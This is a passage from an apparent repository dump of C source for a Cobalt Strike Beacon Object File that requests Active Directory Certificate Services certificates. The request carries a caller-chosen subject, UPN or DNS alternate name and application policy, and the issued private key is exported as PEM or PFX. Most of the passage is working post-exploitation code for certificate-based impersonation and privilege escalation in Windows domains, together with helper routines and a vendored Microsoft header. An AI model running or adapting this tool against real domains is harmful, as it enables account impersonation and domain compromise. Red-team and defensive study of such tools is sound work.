CERT_REQUEST_RETRIES)&&(CR_DISP_UNDER_SUBMISSION==pDisposition); nRetry++ )\n\t{\n\t\t// Get the current disposition message\n\t\tSAFE_SYS_FREE(bstrDispositionMessage);\n\t\thr = pCertRequest2->lpVtbl->GetDispositionMessage(pCertRequest2, &bstrDispositionMessage);\n\t\tCHECK_RETURN_FAIL(\"pCertRequest2->lpVtbl->GetDispositionMessage()\", hr);\n\t\t\n\t\t// Check the current disposition\n\t\tswitch(pDisposition)\n\t\t{\n\t\t\tcase CR_DISP_ISSUED:\n\t\t\t{\n\t\t\t\tinternal_printf(\"[*] CA Response   : The certificate had been issued.\\n\");\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tcase CR_DISP_UNDER_SUBMISSION:\n\t\t\t{\n\t\t\t\tinternal_printf(\"[*] CA Response   : The certificate is still pending: %S\\n\", bstrDispositionMessage);\n\t\t\t\tinternal_printf(\"[*] Retry %d of %d. Sleeping %d seconds...\\n\", nRetry, CERT_REQUEST_RETRIES, CERT_REQUEST_TIMEOUT/1000);\n\t\t\t\tKERNEL32$Sleep(CERT_REQUEST_TIMEOUT);\n\t\t\t\thr = pCertRequest2->lpVtbl->RetrievePending(pCertRequest2, pRequestId, bstrCA, &pDisposition);\n\t\t\t\tCHECK_RETURN_FAIL(\"pCertRequest2->lpVtbl->RetrievePending()\", hr);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tdefault:\n\t\t\t{\n\t\t\t\tpCertRequest2->lpVtbl->GetLastStatus(pCertRequest2, &hr);\n\t\t\t\tBeaconPrintf(CALLBACK_ERROR, \"CA Response  : The submission failed: %S (0x%08lx)\\n\", bstrDispositionMessage, hr);\n\t\t\t\tgoto fail;\n\t\t\t}\n\t\t} // end check of current disposition\n\t} // end for loop through retries\n\t\n\tif (CR_DISP_ISSUED != pDisposition)\n\t{\n\t\thr = RPC_E_TIMEOUT;\n\t\tinternal_printf(\"[*] CA Response   : Timed out: %d\\n\", pDisposition);\n\t\tgoto fail;\n\t}\n\n\thr = pCertRequest2->lpVtbl->GetCertificate(pCertRequest2, CR_OUT_BASE64, lpbstrCertificate);\n\tCHECK_RETURN_FAIL(\"pCertRequest2->lpVtbl->GetCertificate()\", hr);\n\n\thr = S_OK;\n\nfail:\n\n\tSAFE_SYS_FREE(bstrDispositionMessage);\n\tSAFE_RELEASE(pCertRequest2);\n\tSAFE_SYS_FREE(bstrEnrollmentRequest);\n\n\treturn hr;\n} // end _adcs_request_SendCertRequestMessage\n\n\nHRESULT adcs_request(LPCWSTR lpswzCA, LPCWSTR lpswzTemplate, LPCWSTR lpswzSubject, LPCWSTR lpswzAltName, LPCWSTR lpswzAltUrl, LPCWSTR lpswzPfxPassword, BOOL bInstall, BOOL bMachine, BOOL addAppPolicy, BOOL dns, BOOL bPem)\n{\n\tHRESULT\thr = S_OK;\n\tBSTR bstrCA = NULL;\n\tBSTR bstrTemplate = NULL;\n\tDWORD dwDistinguishedNameCount = 0;\n\tLPWSTR lpswzDistinguishedName = NULL;\n\tBSTR bstrSubject = NULL;\n\tBSTR bstrAltName = NULL;\n\tBSTR bstrAltUrl = NULL;\n\tBSTR bstrCertificate = NULL;\n\tIX509PrivateKey * pPrivateKey = NULL;\n\tIX509CertificateRequestPkcs10V3 * pCertificateRequestPkcs10V3 = NULL;\n\tIX509Enrollment * pEnrollment = NULL;\n\t\n\t// PEM export variables\n\tBSTR bstrExportType = NULL;\n\tBSTR bstrPrivateKey = NULL;\n\tDWORD dwPrivateKeyLen = 0;\n\tLPBYTE pPrivateDER = NULL;\n\tDWORD pemPrivateSize = 0;\n\tLPWSTR pPrivatePEM = NULL;\n\t\n\t// PFX export variables\n\tBSTR bstrContainerName = NULL;\n\tLPCWSTR wszPfxPassword = (lpswzPfxPassword && lpswzPfxPassword[0]) ? lpswzPfxPassword : L\"\";\n\tDWORD dwCertLen = 0;\n\tLPBYTE pbCertDER = NULL;\n\tPCCERT_CONTEXT pCertContext = NULL;\n\tPCCERT_CONTEXT pStoreCert = NULL;\n\tHCERTSTORE hMemStore = NULL;\n\tCRYPT_KEY_PROV_INFO keyProvInfo = {0};\n\tCRYPT_DATA_BLOB pfxBlob = {0};\n\tDWORD dwPfxB64Len = 0;\n\tLPSTR pszPfxB64 = NULL;\n\n\t// Get the Certificate Authority\n\tif (NULL == lpswzCA)\n\t{\n\t\thr = E_INVALIDARG;\n\t\tBeaconPrintf(CALLBACK_ERROR, \"lpswzCA is invalid\\n\");\n\t\tgoto fail;\n\t}\n\tSAFE_SYS_FREE(bstrCA);\n\tbstrCA = OLEAUT32$SysAllocString(lpswzCA);\n\n\t// Get the template\n\tSAFE_SYS_FREE(bstrTemplate);\n\n\tbstrTemplate = OLEAUT32$SysAllocString(lpswzTemplate); \n\t\n\n\t// Get the subject name\n\tSAFE_SYS_FREE(bstrSubject);\n\tif ( IsNullOrEmptyW(lpswzSubject) )\n\t{\n\t\tif (bMachine)\n\t\t{\n\t\t\tSECUR32$GetComputerObjectNameW(NameFullyQualifiedDN, lpswzDistinguishedName, &dwDistinguishedNameCount);\n\t\t\tlpswzDistinguishedName = intAlloc(dwDistinguishedNameCount * sizeof(WCHAR));\n\t\t\tCHECK_RETURN_NULL(\"intAlloc\", lpswzDistinguishedName, hr);\n\t\t\thr = SECUR32$GetComputerObjectNameW(NameFullyQualifiedDN, lpswzDistinguishedName, &dwDistinguishedNameCount);\n\t\t\tCHECK_RETURN_FALSE(\"SECUR32$GetComputerObjectNameW\", hr);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tSECUR32$GetUserNameExW(NameFullyQualifiedDN, lpswzDistinguishedName, &dwDistinguishedNameCount);\n\t\t\tlpswzDistinguishedName = intAlloc(dwDistinguishedNameCount * sizeof(WCHAR));\n\t\t\tCHECK_RETURN_NULL(\"intAlloc\", lpswzDistinguishedName, hr);\n\t\t\thr = SECUR32$GetUserNameExW(NameFullyQualifiedDN, lpswzDistinguishedName, &dwDistinguishedNameCount);\n\t\t\tCHECK_RETURN_FALSE(\"SECUR32$GetUserNameExW\", hr);\n\t\t}\n\t\tbstrSubject = OLEAUT32$SysAllocString(lpswzDistinguishedName);\n\t}\n\telse { bstrSubject = OLEAUT32$SysAllocString(lpswzSubject); }\n\n\t// Get the alt name\n\tSAFE_SYS_FREE(bstrAltName);\n\tbstrAltName = OLEAUT32$SysAllocString(lpswzAltName);\n\n\tSAFE_SYS_FREE(bstrAltUrl);\n\tbstrAltUrl = OLEAUT32$SysAllocString(lpswzAltUrl);\n\n\tinternal_printf(\"[*] CA            : %S\\n\", bstrCA);\n\tinternal_printf(\"[*] Template      : %S\\n\", bstrTemplate);\n\tinternal_printf(\"[*] Subject       : %S\\n\", bstrSubject);\n\tinternal_printf(\"[*] AltName (%s) : %S\\n\", (dns) ? \"dns\" : \"upn\", (bstrAltName?bstrAltName:L\"N/A\"));\n\tinternal_printf(\"[*] AltUrl        : %S\\n\", (bstrAltUrl?bstrAltUrl:L\"N/A\"));\n\n\t// Initialize COM\n\thr = OLE32$CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);\n\tif (hr == RPC_E_CHANGED_MODE || hr == S_FALSE) {\n\t\thr = S_OK;\n\t}\n\tCHECK_RETURN_FAIL(\"[x] CoInitializeEx\", hr);\n\n\t// Create the private key\n\thr = _adcs_request_CreatePrivateKey(bMachine, &pPrivateKey);\n\tCHECK_RETURN_FAIL(L\"[x] CreatePrivateKey\", hr);\n\n\t// Get private key container name for PFX export\n\thr = pPrivateKey->lpVtbl->get_UniqueContainerName(pPrivateKey, &bstrContainerName);\n\tCHECK_RETURN_FAIL(\"[x] pPrivateKey->get_UniqueContainerName\", hr);\n\n\t// Create the cert request\n\thr = _adcs_request_CreateCertRequest(bMachine, pPrivateKey, bstrTemplate, bstrSubject, bstrAltName, bstrAltUrl, &pCertificateRequestPkcs10V3, addAppPolicy, dns);\n\tCHECK_RETURN_FAIL(L\"[x] CreatePrivateKey\", hr);\n\n\t// Create enrollment\n\thr = _adcs_request_CreateEnrollment(pCertificateRequestPkcs10V3, &pEnrollment);\n\tCHECK_RETURN_FAIL(L\"[x] CreatePrivateKey\", hr);\n\n\t// Submit the enrollment request\n\thr = _adcs_request_SubmitEnrollment(pEnrollment, bstrCA, &bstrCertificate);\n\tCHECK_RETURN_FAIL(L\"[x] SubmitEnrollment\", hr);\n\n\tif (bPem) {\n\t\t// PEM output format\n\t\tbstrExportType = OLEAUT32$SysAllocString(BCRYPT_PRIVATE_KEY_BLOB);\n\t\thr = pPrivateKey->lpVtbl->Export(pPrivateKey, bstrExportType, XCN_CRYPT_STRING_BINARY, &bstrPrivateKey);\n\t\tCHECK_RETURN_FAIL(\"pPrivateKey->Export()\", hr);\n\t\t\n\t\t// Convert from BCRYPT_PRIVATE_KEY_BLOB to DER\n\t\tCRYPT32$CryptEncodeObjectEx(X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, PKCS_RSA_PRIVATE_KEY, (LPCVOID)bstrPrivateKey, 0, NULL, NULL, &dwPrivateKeyLen);\n\t\tpPrivateDER = (LPBYTE)intAlloc(dwPrivateKeyLen);\n\t\tCHECK_RETURN_NULL(\"intAlloc for private DER\", pPrivateDER, hr);\n\t\thr = CRYPT32$CryptEncodeObjectEx(X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, PKCS_RSA_PRIVATE_KEY, (LPCVOID)bstrPrivateKey, 0, NULL, (LPVOID)pPrivateDER, &dwPrivateKeyLen);\n\t\tCHECK_RETURN_FALSE(\"CryptEncodeObjectEx\", hr);\n\n\t\t// Convert from DER to PEM format\n\t\tCRYPT32$CryptBinaryToStringW(pPrivateDER, dwPrivateKeyLen, CRYPT_STRING_BASE64, NULL, &pemPrivateSize);\n\t\tpPrivatePEM = (LPWSTR)intAlloc(pemPrivateSize * sizeof(WCHAR));\n\t\tCHECK_RETURN_NULL(\"intAlloc for private PEM\", pPrivatePEM, hr);\n\t\thr = CRYPT32$CryptBinaryToStringW(pPrivateDER, dwPrivateKeyLen, CRYPT_STRING_BASE64, pPrivatePEM, &pemPrivateSize);\n\t\tCHECK_RETURN_FALSE(\"CryptBinaryToStringW\", hr);\n\n\t\t// Display the certificate in PEM format\n\t\tinternal_printf(\"[*] cert.pem:\\n\");\n\t\tinternal_printf(\"-----BEGIN RSA PRIVATE KEY-----\\n\");\n\t\tinternal_printf(\"%S\", pPrivatePEM);\n\t\tinternal_printf(\"-----END RSA PRIVATE KEY-----\\n\");\n\t\tinternal_printf(\"-----BEGIN CERTIFICATE-----\\n\");\n\t\tinternal_printf(\"%S\", bstrCertificate);\n\t\tinternal_printf(\"-----END CERTIFICATE-----\\n\");\n\t\tinternal_printf(\"[*] Convert with:\\nopenssl pkcs12 -in cert.pem -keyex -CSP \\\"Microsoft Enhanced Cryptographic Provider v1.0\\\" -export -out cert.pfx\\n\");\n\t} else {\n\t\t// PFX output format\n\t\t// Decode certificate from BASE64 to DER (bstrCertificate is wide string)\n\t\tCRYPT32$CryptStringToBinaryW(bstrCertificate, 0, CRYPT_STRING_BASE64, NULL, &dwCertLen, NULL, NULL);\n\t\tpbCertDER = (LPBYTE)intAlloc(dwCertLen);\n\t\tCHECK_RETURN_NULL(\"intAlloc for cert DER\", pbCertDER, hr);\n\t\thr = CRYPT32$CryptStringToBinaryW(bstrCertificate, 0, CRYPT_STRING_BASE64, pbCertDER, &dwCertLen, NULL, NULL);\n\t\tCHECK_RETURN_FALSE(\"CryptStringToBinaryW\", hr);\n\n\t\t// Create certificate context\n\t\tpCertContext = CRYPT32$CertCreateCertificateContext(X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, pbCertDER, dwCertLen);\n\t\tCHECK_RETURN_NULL(\"CertCreateCertificateContext\", pCertContext, hr);\n\n\t\t// Create memory store\n\t\thMemStore = CRYPT32$CertOpenStore(CERT_STORE_PROV_MEMORY, 0, 0, CERT_STORE_CREATE_NEW_FLAG, NULL);\n\t\tCHECK_RETURN_NULL(\"CertOpenStore\", hMemStore, hr);\n\n\t\t// Add certificate to memory store\n\t\thr = CRYPT32$CertAddCertificateContextToStore(hMemStore, pCertContext, CERT_STORE_ADD_ALWAYS, &pStoreCert);\n\t\tCHECK_RETURN_FALSE(\"CertAddCertificateContextToStore\", hr);\n\n\t\t// Link private key to certificate\n\t\tkeyProvInfo.pwszContainerName = bstrContainerName;\n\t\tkeyProvInfo.pwszProvName = MS_ENHANCED_PROV_W;\n\t\tkeyProvInfo.dwProvType = PROV_RSA_FULL;\n\t\tkeyProvInfo.dwFlags = 0;\n\t\tkeyProvInfo.dwKeySpec = AT_KEYEXCHANGE;\n\n\t\thr = CRYPT32$CertSetCertificateContextProperty(pStoreCert, CERT_KEY_PROV_INFO_PROP_ID, 0, &keyProvInfo);\n\t\tCHECK_RETURN_FALSE(\"CertSetCertificateContextProperty\", hr);\n\n\t\t// Export to PFX\n\t\tCRYPT32$PFXExportCertStoreEx(hMemStore, &pfxBlob, wszPfxPassword, NULL, EXPORT_PRIVATE_KEYS);\n\t\tif (pfxBlob.cbData > 0) {\n\t\t\tpfxBlob.pbData = (BYTE*)intAlloc(pfxBlob.cbData);\n\t\t\tCHECK_RETURN_NULL(\"intAlloc for PFX\", pfxBlob.pbData, hr);\n\t\t\t\n\t\t\thr = CRYPT32$PFXExportCertStoreEx(hMemStore, &pfxBlob, wszPfxPassword, NULL, EXPORT_PRIVATE_KEYS);\n\t\t\tCHECK_RETURN_FALSE(\"PFXExportCertStoreEx\", hr);\n\n\t\t\t// Convert PFX to BASE64\n\t\t\tCRYPT32$CryptBinaryToStringA(pfxBlob.pbData, pfxBlob.cbData, CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF, NULL, &dwPfxB64Len);\n\t\t\tpszPfxB64 = (LPSTR)intAlloc(dwPfxB64Len + 1);\n\t\t\tCHECK_RETURN_NULL(\"intAlloc for PFX B64\", pszPfxB64, hr);\n\t\t\tCRYPT32$CryptBinaryToStringA(pfxBlob.pbData, pfxBlob.cbData, CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF, pszPfxB64, &dwPfxB64Len);\n\n\t\t\tinternal_printf(\"[*] cert.pfx (password: '%S'):\\n\\n%s\\n\", wszPfxPassword, pszPfxB64);\n\t\t}\n\t}\n\n\t// Install the certificate?\n\tif (bInstall)\n\t{\n\t\thr = pEnrollment->lpVtbl->InstallResponse(pEnrollment, AllowUntrustedRoot, bstrCertificate, XCN_CRYPT_STRING_BASE64, NULL);\n\t\tCHECK_RETURN_FAIL(\"pEnrollment->lpVtbl->InstallResponse()\", hr);\n\n\t\tinternal_printf(\"[*] Certificate installed!\\n\");\n\t}\n\n\thr = S_OK;\n\nfail:\n\t// PEM cleanup\n\tSAFE_INT_FREE(pPrivateDER);\n\tSAFE_INT_FREE(pPrivatePEM);\n\tSAFE_SYS_FREE(bstrPrivateKey);\n\tSAFE_SYS_FREE(bstrExportType);\n\t// PFX cleanup\n\tSAFE_INT_FREE(pszPfxB64);\n\tif (pfxBlob.pbData) intFree(pfxBlob.pbData);\n\tif (pStoreCert) CRYPT32$CertFreeCertificateContext(pStoreCert);\n\tif (pCertContext) CRYPT32$CertFreeCertificateContext(pCertContext);\n\tif (hMemStore) CRYPT32$CertCloseStore(hMemStore, 0);\n\tSAFE_INT_FREE(pbCertDER);\n\t// Common cleanup\n\tSAFE_RELEASE(pEnrollment);\n\tSAFE_RELEASE(pCertificateRequestPkcs10V3);\n\tSAFE_RELEASE(pPrivateKey);\n\tSAFE_SYS_FREE(bstrContainerName);\n\tSAFE_SYS_FREE(bstrCertificate);\n\tSAFE_SYS_FREE(bstrAltName);\n\tSAFE_SYS_FREE(bstrAltUrl);\n\tSAFE_SYS_FREE(bstrSubject);\n\tSAFE_INT_FREE(lpswzDistinguishedName);\n\tSAFE_SYS_FREE(bstrTemplate);\n\tSAFE_SYS_FREE(bstrCA);\n\n\tOLE32$CoUninitialize();\n\n\treturn hr;\n} // end adcs_request\n"
  },
  {
    "path": "AD-BOF/ADCS-BOF/src/request/adcs_request.h",
    "content": "#pragma once\n#define WIN32_WINNT 0x0601\n#include <windows.h>\n#include \"CertCli.h\"     // from /mnt/hgfs/git/external/winsdk-10/Include/10.0.16299.0/um\n#include \"CertPol.h\"     // from /mnt/hgfs/git/external/winsdk-10/Include/10.0.16299.0/um\n#include \"certenroll.h\"  // from /mnt/hgfs/git/external/winsdk-10/Include/10.0.16299.0/um\n\nHRESULT _adcs_request_CreatePrivateKey(BOOL bMachine, IX509PrivateKey ** lppPrivateKey);\nHRESULT _adcs_request_CreateCertRequest(BOOL bMachine, IX509PrivateKey * pPrivateKey, BSTR bstrTemplate, BSTR bstrSubject, BSTR bstrAltName, BSTR bstrAltUrl, IX509CertificateRequestPkcs10V3 ** lppCertificateRequestPkcs10V3, BOOL addAppPolicy, BOOL dns);\nHRESULT _adcs_request_CreateEnrollment(IX509CertificateRequestPkcs10V3 * pCertificateRequestPkcs10V3, IX509Enrollment ** lppEnrollment);\nHRESULT _adcs_request_SubmitEnrollment(IX509Enrollment * pEnrollment, BSTR bstrCA, BSTR * lpbstrCertificate);\n\nHRESULT adcs_request( LPCWSTR lpswzCA, LPCWSTR lpswzTemplate, LPCWSTR lpswzSubject, LPCWSTR lpswzAltName, LPCWSTR lpswzAltUrl, LPCWSTR lpswzPfxPassword, BOOL bInstall, BOOL bMachine, BOOL addAppPolicy, BOOL dns, BOOL bPem );\n"
  },
  {
    "path": "AD-BOF/ADCS-BOF/src/request/base.c",
    "content": "#include <windows.h>\n#include \"bofdefs.h\"\n#include \"beacon.h\"\n#ifndef bufsize\n#define bufsize 8192\n#endif\n\n//#pragma GCC diagnostic ignored \"-Wint-conversion\"\n//formatp output = {1}; // this is just done so its we don't go into .bss which isn't handled properly\nchar * output = (char*)1;\nWORD currentoutsize = 1;\nHANDLE trash = (HANDLE)1; // Needed for x64 to not give relocation error\n//#pragma GCC diagnostic pop\n\nint bofstart();\n#ifdef BOF\nvoid internal_printf(const char* format, ...);\n#endif\nchar * Utf16ToUtf8(const wchar_t* input);\nwchar_t * Utf8ToUtf16(const char * input);\nvoid printoutput(BOOL done);\nvoid bofstop();\n\n#ifdef BOF\nint bofstart()\n{   \n    //output.original=NULL;\n    //handle any global initilization here\n    //BeaconFormatAlloc(&output, bufsize+256);\n    output = (char*)MSVCRT$calloc(bufsize, 1);\n    currentoutsize = 0;\n    return 1;\n\n}\n\nvoid internal_printf(const char* format, ...){\n    int buffersize = 0;\n    char * curloc = NULL;\n    char* intBuffer = NULL;\n    char* transferBuffer = (char*)intAlloc(bufsize);\n    va_list args;\n    va_start(args, format);\n    buffersize = MSVCRT$vsnprintf(NULL, 0, format, args); // +1 because vsprintf goes to buffersize-1 , and buffersize won't return with the null\n    va_end(args);\n    intBuffer = (char*)intAlloc(buffersize);\n    /*Print string to memory buffer*/\n    va_start(args, format);\n    MSVCRT$vsnprintf(intBuffer, buffersize, format, args); // tmpBuffer2 has a null terminated string\n    va_end(args);\n    if(buffersize + currentoutsize < bufsize) // If this print doesn't overflow our output buffer, just buffer it to the end\n    {\n        //BeaconFormatPrintf(&output, intBuffer);\n        memcpy(output+currentoutsize, intBuffer, buffersize);\n        currentoutsize += buffersize;\n    }\n    else // If this print does overflow our output buffer, lets print what we have and clear any thing else as it is likely this is a large print\n    {\n        curloc = intBuffer;\n        while(buffersize > 0)\n        {\n            int transfersize = 0;\n            transfersize = bufsize - currentoutsize; // what is the max we could transfer this request\n            if(buffersize < transfersize) //if I have less then that, lets just transfer what's left\n            {\n                transfersize = buffersize;\n            }\n            memcpy(output+currentoutsize, curloc, transfersize); // copy data into our transfer buffer\n            currentoutsize += transfersize;\n            //BeaconFormatPrintf(&output, transferBuffer); // copy it to cobalt strikes output buffer\n            if(currentoutsize == bufsize)\n            {\n            printoutput(FALSE); // sets currentoutsize to 0 and prints\n            }\n            memset(transferBuffer, 0, transfersize); // reset our transfer buffer\n            curloc += transfersize; // increment by how much data we just wrote\n            buffersize -= transfersize; // subtract how much we just wrote from how much we are writing overall\n        }\n    }\n    intFree(intBuffer);\n    intFree(transferBuffer);\n}\n\nvoid printoutput(BOOL done)\n{\n    char * msg = NULL;\n    BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize);\n    currentoutsize = 0;\n    memset(output, 0, bufsize);\n    if(done) {MSVCRT$free(output); output=NULL;}\n}\n#endif\n\n#ifdef DYNAMIC_LIB_COUNT\n\n\ntypedef struct loadedLibrary {\n    HMODULE hMod; // mod handle\n    const char * name; // name normalized to uppercase\n}loadedLibrary, *ploadedLibrary;\nloadedLibrary loadedLibraries[DYNAMIC_LIB_COUNT] __attribute__((section (\".data\"))) = {0};\nDWORD loadedLibrariesCount __attribute__((section (\".data\"))) = 0;\n\nBOOL intstrcmp(LPCSTR szLibrary, LPCSTR sztarget)\n{\n    BOOL bmatch = FALSE;\n    DWORD pos = 0;\n    while(szLibrary[pos] && sztarget[pos])\n    {\n        if(szLibrary[pos] != sztarget[pos])\n        {\n            goto end;\n        }\n        pos++;\n    }\n    if(szLibrary[pos] | sztarget[pos]) // if either of these down't equal null then they can't match\n        {goto end;}\n    bmatch = TRUE;\n\n    end:\n    return bmatch;\n}\n\n//GetProcAddress, LoadLibraryA, GetModuleHandle, and FreeLibrary are gimmie functions\n//\n// DynamicLoad\n// Retrieves a function pointer given the BOF library-function name\n// szLibrary           - The library containing the function you want to load\n// szFunction          - The Function that you want to load\n// Returns a FARPROC function pointer if successful, or NULL if lookup fails\n//\nFARPROC DynamicLoad(const char * szLibrary, const char * szFunction)\n{\n    FARPROC fp = NULL;\n    HMODULE hMod = NULL;\n    DWORD i = 0;\n    DWORD liblen = 0;\n    for(i = 0; i < loadedLibrariesCount; i++)\n    {\n        if(intstrcmp(szLibrary, loadedLibraries[i].name))\n        {\n            hMod = loadedLibraries[i].hMod;\n        }\n    }\n    if(!hMod)\n    {\n        hMod = LoadLibraryA(szLibrary);\n        if(!hMod){ \n            BeaconPrintf(CALLBACK_ERROR, \"*** DynamicLoad(%s) FAILED!\\nCould not find library to load.\", szLibrary);\n            return NULL;\n        }\n        loadedLibraries[loadedLibrariesCount].hMod = hMod;\n        loadedLibraries[loadedLibrariesCount].name = szLibrary; //And this is why this HAS to be a constant or not freed before bofstop\n        loadedLibrariesCount++;\n    }\n    fp = GetProcAddress(hMod, szFunction);\n\n    if (NULL == fp)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"*** DynamicLoad(%s) FAILED!\\n\", szFunction);\n    }\n    return fp;\n}\n#endif\n\nchar* Utf16ToUtf8(const wchar_t* input)\n{\n    int ret = KERNEL32$WideCharToMultiByte(\n        CP_UTF8,\n        0,\n        input,\n        -1,\n        NULL,\n        0,\n        NULL,\n        NULL\n    );\n\n    char* newString = (char*)intAlloc(sizeof(char) * ret);\n\n    ret = KERNEL32$WideCharToMultiByte(\n        CP_UTF8,\n        0,\n        input,\n        -1,\n        newString,\n        sizeof(char) * ret,\n        NULL,\n        NULL\n    );\n\n    if (0 == ret)\n    {\n        goto fail;\n    }\n\nretloc:\n    return newString;\n/*location to free everything centrally*/\nfail:\n    if (newString){\n        intFree(newString);\n        newString = NULL;\n    };\n    goto retloc;\n}\n\nwchar_t* Utf8ToUtf16(const char* input)\n{\n    int ret = KERNEL32$MultiByteToWideChar(\n        CP_UTF8,\n        0,\n        input,\n        -1,\n        NULL,\n        0\n    );\n\n    wchar_t* newString = (wchar_t*)intAlloc(sizeof(wchar_t) * ret);\n\n    ret = KERNEL32$MultiByteToWideChar(\n        CP_UTF8,\n        0,\n        input,\n        -1,\n        newString,\n        ret\n    );\n\n    if (0 == ret)\n    {\n        //printf(\"Failed to convert UNICODE string from UTF-16 to UTF-8. Last error: %d\\n\", (int)GetLastError());\n        goto fail;\n    }\n\nretloc:\n    return newString;\n/*location to free everything centrally*/\nfail:\n    if (newString){\n        intFree(newString);\n        newString = NULL;\n    };\n    goto retloc;\n}\n\n#ifndef BOF\nDWORD SetPrivilege(\n    HANDLE hTokenArg,          // access token handle\n    LPCSTR lpszPrivilege,  // name of privilege to enable/disable\n    BOOL bEnablePrivilege   // to enable or disable privilege\n    ) \n{\n    HANDLE hToken = NULL;\n    TOKEN_PRIVILEGES tp;\n    LUID luid;\n    DWORD dwErrorCode = ERROR_SUCCESS;\n\n    if ( hTokenArg )\n    {\n        hToken = hTokenArg;\n    }\n    else\n    {\n        // Open a handle to the access token for the calling process. That is this running program\n        if( FALSE == ADVAPI32$OpenProcessToken(KERNEL32$GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))    \n        {\n            dwErrorCode = KERNEL32$GetLastError();\n            goto SetPrivilege_end;\n        }\n    }\n    \n\n    if ( FALSE == ADVAPI32$LookupPrivilegeValueA( \n            NULL,            // lookup privilege on local system\n            lpszPrivilege,   // privilege to lookup \n            &luid ) )        // receives LUID of privilege\n    {\n        dwErrorCode = KERNEL32$GetLastError();\n        goto SetPrivilege_end; \n    }\n\n    tp.PrivilegeCount = 1;\n    tp.Privileges[0].Luid = luid;\n    if (bEnablePrivilege)\n        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;\n    else\n        tp.Privileges[0].Attributes = 0;\n\n    // Enable the privilege or disable all privileges.\n\n    if ( FALSE == ADVAPI32$AdjustTokenPrivileges(\n           hToken, \n           FALSE, \n           &tp, \n           sizeof(TOKEN_PRIVILEGES), \n           (PTOKEN_PRIVILEGES) NULL, \n           (PDWORD) NULL) )\n    {\n        dwErrorCode = KERNEL32$GetLastError();\n        goto SetPrivilege_end; \n    } \n\n    // Possibly ERROR_NOT_ALL_ASSIGNED\n    dwErrorCode = KERNEL32$GetLastError();\n\nSetPrivilege_end:\n\n    if ( !hTokenArg )\n    {\n        if ( hToken )\n        {\n            KERNEL32$CloseHandle(hToken);\n            hToken = NULL;\n        }\n    }\n\n    return dwErrorCode;\n}\n#endif\n\n//release any global functions here\nvoid bofstop()\n{\n\n    return;\n}\n"
  },
  {
    "path": "AD-BOF/ADCS-BOF/src/request/certca.h",
    "content": "//+--------------------------------------------------------------------------\n//\n// Microsoft Windows\n// Copyright (C) Microsoft Corporation, 1996 - 2000\n//\n// File:        certca.h\n//\n// Contents:    Definition of the CA Info API\n//\n// History:     12-dec-97       petesk  created\n//              28-Jan-2000     xiaohs  updated\n//\n//---------------------------------------------------------------------------\n\n\n#ifndef __CERTCA_H__\n#define __CERTCA_H__\n\n\n#if _MSC_VER > 1000\n#pragma once\n#endif\n\n#ifdef __cplusplus\nextern \"C\"{\n#endif\n\n\n#include <wincrypt.h>\n\n\ntypedef VOID *  HCAINFO;\n\ntypedef VOID *  HCERTTYPE;\n\ntypedef VOID *  HCERTTYPEQUERY;\n\n//*****************************************************************************\n//\n// Flags used by CAFindByName, CAFindByCertType, CAFindByIssuerDN and\n// CAEnumFirstCA\n//\n// See comments on each API for a list of applicable flags\n//\n//*****************************************************************************\n//the wszScope supplied is a domain location in the DNS format\n#define CA_FLAG_SCOPE_DNS               0x00000001\n\n// include untrusted CA\n#define CA_FIND_INCLUDE_UNTRUSTED       0x00000010\n\n// running as local system.  Used to verify CA certificate chain\n#define CA_FIND_LOCAL_SYSTEM            0x00000020\n\n// Include CAs that do not support templates\n#define CA_FIND_INCLUDE_NON_TEMPLATE_CA 0x00000040\n\n// The value passed in for scope is the LDAP binding handle to use during finds\n#define CA_FLAG_SCOPE_IS_LDAP_HANDLE    0x00000800\n\n// Return CAs from local machine context\n#define CA_ENUM_ADMINISTRATOR_FORCE_MACHINE    0x00001000\n\n// Enumerate all Types which are present on the CA object \n#define CA_ENUM_INCLUDE_INVALID_TYPES    0x00004000\n\n\n\n//*****************************************************************************\n//\n// Flags used by CAEnumCertTypesForCA, CAEnumCertTypes,\n// CAFindCertTypeByName, CAEnumCertTypesForCAEx, and CAEnumCertTypesEx.\n//\n// See comments on each API for a list of applicable flags\n//\n//*****************************************************************************\n//  Instead of enumerating the certificate types supported by the CA, enumerate\n// ALL certificate types which the CA may choose to support.\n#define CA_FLAG_ENUM_ALL_TYPES          0x00000004\n\n// running as local system.  Used to find cached information in the registry.\n#define CT_FIND_LOCAL_SYSTEM            CA_FIND_LOCAL_SYSTEM\n\n// Return machine types, as opposed to user types\n#define CT_ENUM_MACHINE_TYPES           0x00000040\n\n// Return user types, as opposed to user types\n#define CT_ENUM_USER_TYPES              0x00000080\n\n// Find the certificate type by its OID, instead of its name\n#define CT_FIND_BY_OID                  0x00000200\n\n// Disable the cache expiration check\n#define CT_FLAG_NO_CACHE_LOOKUP         0x00000400\n\n// The value passed in for scope is the LDAP binding handle to use during finds\n#define CT_FLAG_SCOPE_IS_LDAP_HANDLE    CA_FLAG_SCOPE_IS_LDAP_HANDLE\n\n// Return the cert types from the local machine context\n#define CT_ENUM_ADMINISTRATOR_FORCE_MACHINE    CA_ENUM_ADMINISTRATOR_FORCE_MACHINE\n\n// For perf issue, do not cache registry for admin machine context\n#define CT_ENUM_NO_CACHE_TO_REGISTRY    0x00002000\n\n// Enumerate all Types which are present on the CA object \n#define CT_FLAG_ENUM_INCLUDE_INVALID_TYPES     CA_ENUM_INCLUDE_INVALID_TYPES\n\n\n//*****************************************************************************\n//\n// Certification Authority manipulation APIs\n//\n//*****************************************************************************\n\n\n// CAFindByName\n//\n// Given the Name of a CA (CN), find the CA within the given domain and return\n// the given phCAInfo structure.\n//\n// wszCAName    - Common name of the CA\n//\n// wszScope     - The distinguished name (DN) of the entry at which to start\n//\t\t  the search.  Equivalent of the \"base\" parameter of the\n//\t\t  ldap_search_sxxx APIs.\n//                NULL if use the current domain.\n//                If CA_FLAG_SCOPE_DNS is set, wszScope is in the DNS format.\n//                If 